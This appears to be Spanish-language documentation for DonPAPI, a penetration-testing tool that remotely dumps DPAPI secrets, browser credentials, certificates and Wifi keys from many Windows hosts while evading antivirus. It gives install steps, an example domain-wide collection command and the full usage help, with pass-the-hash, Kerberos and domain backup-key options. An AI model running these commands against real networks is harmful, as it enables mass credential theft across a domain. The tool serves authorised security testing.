login-securite/donpapiDumper de credenciales remoto automatizado para entornos Windows, que extrae secretos DPAPI, credenciales de navegadores, certificados y archivos de configuración, con evasión de defensas integrada y un visor de botín basado en web.
DonPAPI automatiza el volcado de secretos de forma remota en múltiples equipos Windows, teniendo en cuenta la evasión de defensas.
Credenciales recopiladas:
Dimos una charla en francés sobre DPAPI llamada DPAPI - Don't Put Administration Passwords In 🇫🇷:
Esta herramienta debe instalarse con pipx o en un entorno virtual dedicado
pipx install donpapi
o (con los últimos commits)
pipx install git+https://github.com/login-securite/DonPAPI.git
o (para desarrollo)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Vuelca información relevante en objetivos comprometidos sin detección de AV. Versión: 2.0.0
positional arguments:
{collect,gui} Acción de DonPAPI
collect Vuelca secretos en una lista de objetivos
gui Inicia un servidor web Flask para explorar la base de datos de DonPAPI
options:
-h, --help muestra este mensaje de ayuda y sale
-v Nivel de verbosidad (-v o -vv)
-o DIRNAME, --output-directory DIRNAME
Directorio de salida. Por defecto es ~/.donpapi/loot/
Esta acción se usa para recopilar secretos en los objetivos especificados con -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help muestra este mensaje de ayuda y sale
--keep-collecting seconds
Vuelve a ejecutar el ataque contra todos los objetivos después de X segundos, siendo X el valor
--threads Number of threads
Número de hilos (por defecto: 50)
--no-config No carga el archivo de configuración de donpapi (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
las direcciones IP de destino, rangos, CIDR, nombres de host, FQDN, archivo(s) que contienen una lista de objetivos, ALL para obtener todos los nombres de host de computadoras de LDAP
-d domain.local, --domain domain.local
Dominio
-u username, --username username
Nombre de usuario
-p password, --password password
Contraseña
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
Hashes NTLM, el formato es LMHASH:NTHASH
--no-pass no preguntar contraseña (útil para -k)
-k Usar autenticación Kerberos. Toma credenciales del archivo ccache (KRB5CCNAME) basado en los parámetros del objetivo. Si no se encuentran credenciales válidas, se usarán las especificadas en la línea de comandos
--aesKey hex key Clave AES para usar en la autenticación Kerberos (128 o 256 bits)
--laps Administrator Usa LAPS para solicitar la contraseña de administrador local. El valor del parámetro laps es la cuenta de administrador local que se usará para conectarse
--dc-ip IP address Dirección IP del controlador de dominio. Si se omite, se usará la parte del dominio (FQDN) especificada en el parámetro de destino
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
Ruta del archivo de recuperación. Si se usa, el resto de parámetros se ignorarán
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (todos los anteriores) (por defecto: All)
-nr, --no-remoteops Deshabilita las operaciones remotas (básicamente, no hay operaciones de Registro Remoto, no hay Credenciales de Sistema DPAPI)
--fetch-pvk Usará automáticamente la clave de respaldo del dominio desde la base de datos, y si aún no se ha volcado, la volcará en un controlador de dominio
--pvkfile PVKFILE Archivo pvk con la clave de respaldo del dominio
--pwdfile PWDFILE Archivo que contiene usuario:contraseña que se usará eventualmente para descifrar claves maestras
--ntfile NTFILE Archivo que contiene usuario:nthash que se usará eventualmente para descifrar claves maestras
--mkfile MKFILE Archivo que contiene asignaciones {GUID}:SHA1 de claves maestras
La autenticación funciona especificando un dominio con --domain, un nombre de usuario con --username, y eventualmente una contraseña con --password, un hash con --hashes, una clave AES con --aesKey o un ticket Kerberos en formato ccache con -k (estilo Impacket).
También puedes autenticarte a través de LAPS en el equipo con --laps y el nombre de la cuenta local LAPS como valor para este parámetro.
Por defecto, DonPAPI recopilará: